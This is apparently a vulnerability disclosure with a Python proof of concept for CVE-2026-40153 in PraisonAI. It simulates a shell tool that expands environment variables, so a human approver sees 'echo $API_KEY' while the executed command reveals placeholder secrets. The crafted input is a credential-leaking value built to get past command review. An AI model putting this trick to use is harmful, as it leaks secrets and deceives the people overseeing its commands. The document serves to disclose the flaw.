CVE-2026-40153 PraisonAI环境变量泄露漏洞

# PoC for CVE-2026-40153 # This demonstrates the environment variable expansion vulnerability. import os def vulnerable_execute_command(command_args): # Simulates the vulnerable code in shell_tools.py line 64 # It expands environment variables regardless of shell=False expanded_args = [os.path.expandvars(arg) for arg in command_args] # Log what the reviewer sees vs what executes print(f"[Reviewer View] Command: {' '.join(command_args)}") print(f"[Execution View] Command: {' '.join(expanded_args)}") # In the real scenario, this would execute: subprocess.run(expanded_args, shell=False) return expanded_args # Setup: Assume a sensitive secret exists in the environment os.environ['DATABASE_URL'] = 'postgres://admin:[email protected]:5432/mydb' os.environ['API_KEY'] = 'sk-1234567890abcdef' # Attack Scenario: Attacker requests to echo a variable # The reviewer sees "echo $API_KEY" and thinks it's just text. malicious_input = ["echo", "The", "key", "is:", "$API_KEY"] print("--- Testing Vulnerability ---") vulnerable_execute_command(malicious_input)